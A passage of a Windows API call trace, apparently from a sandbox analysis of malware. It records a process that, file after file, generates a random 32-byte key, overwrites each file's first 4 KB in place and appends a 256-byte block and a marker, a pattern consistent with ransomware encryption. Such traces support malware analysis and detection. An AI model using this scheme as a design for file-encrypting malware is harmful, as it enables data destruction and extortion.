hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.684] GetProcessHeap () returned 0x540000 [0086.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.684] CloseHandle (hObject=0x94c) returned 1 [0086.694] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 117 [0086.694] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.694] ReadFile (in: hFile=0x950, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.694] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.694] GetProcessHeap () returned 0x540000 [0086.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.694] GetProcessHeap () returned 0x540000 [0086.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.694] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.694] GetProcessHeap () returned 0x540000 [0086.694] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.694] ReadFile (in: hFile=0x950, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.762] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.762] WriteFile (in: hFile=0x950, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.762] GetProcessHeap () returned 0x540000 [0086.762] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.763] GetProcessHeap () returned 0x540000 [0086.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.764] GetProcessHeap () returned 0x540000 [0086.764] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.765] GetProcessHeap () returned 0x540000 [0086.765] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.766] GetProcessHeap () returned 0x540000 [0086.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.766] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.766] WriteFile (in: hFile=0x950, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.767] WriteFile (in: hFile=0x950, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.767] GetProcessHeap () returned 0x540000 [0086.767] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.767] GetProcessHeap () returned 0x540000 [0086.767] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.767] GetProcessHeap () returned 0x540000 [0086.767] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.767] CloseHandle (hObject=0x950) returned 1 [0086.768] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 118 [0086.769] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.769] ReadFile (in: hFile=0x954, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.769] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.769] GetProcessHeap () returned 0x540000 [0086.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.769] GetProcessHeap () returned 0x540000 [0086.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.769] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.769] GetProcessHeap () returned 0x540000 [0086.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.769] ReadFile (in: hFile=0x954, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.816] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.816] WriteFile (in: hFile=0x954, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.817] GetProcessHeap () returned 0x540000 [0086.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.817] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.818] GetProcessHeap () returned 0x540000 [0086.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.818] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.819] GetProcessHeap () returned 0x540000 [0086.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.820] GetProcessHeap () returned 0x540000 [0086.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.821] GetProcessHeap () returned 0x540000 [0086.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.821] GetProcessHeap 